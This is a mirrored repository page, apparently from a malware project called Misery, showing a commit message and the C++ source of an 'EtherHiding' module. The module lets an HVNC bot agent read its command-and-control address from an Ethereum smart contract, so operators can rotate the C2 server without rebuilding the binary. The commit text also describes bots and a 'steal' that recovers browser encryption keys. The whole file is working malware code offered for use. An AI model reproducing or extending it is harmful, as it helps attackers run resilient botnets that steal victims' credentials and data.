mirror of
https://git.churchofmalware.org/JYenn/Misery
synced 2026-09-22 05:27:07 +00:00
The agent resolves its C2 endpoint from a resolver contract on a public chain via eth_call (free, read-only), so the compiled binary carries no C2 address; rotating the C2 is one contract call and every bot picks up the new value on next start. Pattern per the 2026 Remus analysis: eth_call with the get() selector (0x6d4ce63c) against a public JSON-RPC provider, the endpoint stored as a bytes32 host:port. Any failure falls back to the compiled endpoint. - src/transport/etherhiding.cpp/hpp: eth_call resolver, bytes32 decode, host:port parse, WinHTTP POST with hard timeouts - agent: resolves before the argv/env override so an explicit endpoint still wins; HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT env vars override - setup.py: CHAIN_RPC / CHAIN_CONTRACT options; the guided wizard asks for the resolver under TCP; the summary and recreate line carry them - tools/etherhiding.py: read (stdlib) and update (web3 optional, explorer instructions otherwise); contract source included, deployed via Remix - verified: selectors checked against a real keccak implementation, contract compiles with solc 0.8.19, wizard and non-interactive flows emit the config end to end, mock RPC positive/negative tests, live HTTPS RPC probe degrades gracefully, and the full steal still recovers the v20 key through the chain-resolved agent
157 lines
6.3 KiB
C++
157 lines
6.3 KiB
C++
#include "etherhiding.hpp"
|
|
#include <windows.h>
|
|
#include <winhttp.h>
|
|
#include <string>
|
|
#include <vector>
|
|
#include <cstdint>
|
|
|
|
#pragma comment(lib, "winhttp.lib")
|
|
|
|
namespace hvnc::chain {
|
|
namespace {
|
|
|
|
std::wstring to_wide(const std::string& s) {
|
|
if (s.empty()) return L"";
|
|
int n = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);
|
|
std::wstring w(n, L'\0');
|
|
MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), &w[0], n);
|
|
return w;
|
|
}
|
|
|
|
int hexval(char c) {
|
|
if (c >= '0' && c <= '9') return c - '0';
|
|
if (c >= 'a' && c <= 'f') return c - 'a' + 10;
|
|
if (c >= 'A' && c <= 'F') return c - 'A' + 10;
|
|
return -1;
|
|
}
|
|
|
|
bool decode_hex(const char* hex, size_t len, std::vector<uint8_t>& out) {
|
|
if (len % 2) return false;
|
|
out.resize(len / 2);
|
|
for (size_t i = 0; i < out.size(); i++) {
|
|
int hi = hexval(hex[i * 2]), lo = hexval(hex[i * 2 + 1]);
|
|
if (hi < 0 || lo < 0) return false;
|
|
out[i] = static_cast<uint8_t>((hi << 4) | lo);
|
|
}
|
|
return true;
|
|
}
|
|
|
|
// "host:port"; the last colon separates, so IPv4 and hostnames parse alike.
|
|
bool parse_host_port(const std::string& s, std::string& host, int& port) {
|
|
size_t colon = s.rfind(':');
|
|
if (colon == std::string::npos || colon == 0 || colon + 1 >= s.size()) return false;
|
|
host = s.substr(0, colon);
|
|
port = 0;
|
|
for (size_t i = colon + 1; i < s.size(); i++) {
|
|
if (s[i] < '0' || s[i] > '9') return false;
|
|
port = port * 10 + (s[i] - '0');
|
|
if (port > 65535) return false;
|
|
}
|
|
if (port == 0 || host.empty()) return false;
|
|
return true;
|
|
}
|
|
|
|
// POST a JSON body to an http(s) URL; returns the body on status 200. Hard
|
|
// timeouts so a dead RPC cannot stall startup for long.
|
|
bool http_post(const std::string& url, const std::string& body, std::string& reply) {
|
|
size_t sep = url.find("://");
|
|
if (sep == std::string::npos) return false;
|
|
bool secure = url.compare(0, sep, "https") == 0;
|
|
std::string rest = url.substr(sep + 3);
|
|
size_t slash = rest.find('/');
|
|
std::string host = slash == std::string::npos ? rest : rest.substr(0, slash);
|
|
std::string path = slash == std::string::npos ? "/" : rest.substr(slash);
|
|
if (host.empty()) return false;
|
|
|
|
// The host may carry an explicit port ("host:8123"); split it out.
|
|
INTERNET_PORT iport = secure ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT;
|
|
size_t hcolon = host.rfind(':');
|
|
if (hcolon != std::string::npos && hcolon + 1 < host.size()) {
|
|
int p = 0;
|
|
bool digits = true;
|
|
for (size_t i = hcolon + 1; i < host.size(); i++) {
|
|
if (host[i] < '0' || host[i] > '9') { digits = false; break; }
|
|
p = p * 10 + (host[i] - '0');
|
|
}
|
|
if (digits && p > 0 && p <= 65535) {
|
|
iport = static_cast<INTERNET_PORT>(p);
|
|
host = host.substr(0, hcolon);
|
|
}
|
|
}
|
|
|
|
HINTERNET hSession = WinHttpOpen(L"HVNC/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
|
|
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
|
|
if (!hSession) return false;
|
|
WinHttpSetTimeouts(hSession, 4000, 4000, 8000, 8000);
|
|
|
|
bool ok = false;
|
|
HINTERNET hConn = WinHttpConnect(hSession, to_wide(host).c_str(), iport, 0);
|
|
if (hConn) {
|
|
HINTERNET hReq = WinHttpOpenRequest(hConn, L"POST", to_wide(path).c_str(), nullptr,
|
|
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
|
|
secure ? WINHTTP_FLAG_SECURE : 0);
|
|
if (hReq) {
|
|
WinHttpAddRequestHeaders(hReq, L"Content-Type: application/json", (DWORD)-1,
|
|
WINHTTP_ADDREQ_FLAG_REPLACE | WINHTTP_ADDREQ_FLAG_ADD);
|
|
if (WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
|
|
body.empty() ? WINHTTP_NO_REQUEST_DATA : (LPVOID)body.data(),
|
|
(DWORD)body.size(), (DWORD)body.size(), 0) &&
|
|
WinHttpReceiveResponse(hReq, nullptr)) {
|
|
DWORD status = 0, len = sizeof(status);
|
|
if (WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
|
|
WINHTTP_HEADER_NAME_BY_INDEX, &status, &len,
|
|
WINHTTP_NO_HEADER_INDEX) && status == 200) {
|
|
std::vector<uint8_t> buf;
|
|
for (;;) {
|
|
DWORD avail = 0;
|
|
if (!WinHttpQueryDataAvailable(hReq, &avail)) break;
|
|
if (avail == 0) break;
|
|
size_t base = buf.size();
|
|
buf.resize(base + avail);
|
|
DWORD got = 0;
|
|
if (!WinHttpReadData(hReq, buf.data() + base, avail, &got)) break;
|
|
buf.resize(base + got);
|
|
}
|
|
reply.assign(reinterpret_cast<const char*>(buf.data()), buf.size());
|
|
ok = true;
|
|
}
|
|
}
|
|
WinHttpCloseHandle(hReq);
|
|
}
|
|
WinHttpCloseHandle(hConn);
|
|
}
|
|
WinHttpCloseHandle(hSession);
|
|
return ok;
|
|
}
|
|
|
|
} // namespace
|
|
|
|
bool resolve_endpoint(const std::string& rpc_url, const std::string& contract_addr,
|
|
std::string& host, int& port) {
|
|
if (rpc_url.empty() || contract_addr.empty()) return false;
|
|
|
|
const std::string body =
|
|
"{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"eth_call\",\"params\":"
|
|
"[{\"to\":\"" + contract_addr + "\",\"data\":\"0x6d4ce63c\"},\"latest\"]}";
|
|
|
|
std::string reply;
|
|
if (!http_post(rpc_url, body, reply)) return false;
|
|
|
|
// The endpoint string is the raw bytes32 in the "result" field, hex with
|
|
// a 0x prefix.
|
|
size_t pos = reply.find("\"result\":\"");
|
|
if (pos == std::string::npos) return false;
|
|
pos += 10;
|
|
if (reply[pos] == '0' && (reply[pos + 1] == 'x' || reply[pos + 1] == 'X')) pos += 2;
|
|
size_t end = reply.find('"', pos);
|
|
if (end == std::string::npos) return false;
|
|
std::vector<uint8_t> data;
|
|
if (!decode_hex(reply.c_str() + pos, end - pos, data)) return false;
|
|
while (!data.empty() && data.back() == 0) data.pop_back();
|
|
|
|
std::string value(reinterpret_cast<const char*>(data.data()), data.size());
|
|
return parse_host_port(value, host, port);
|
|
}
|
|
|
|
} // namespace hvnc::chain
|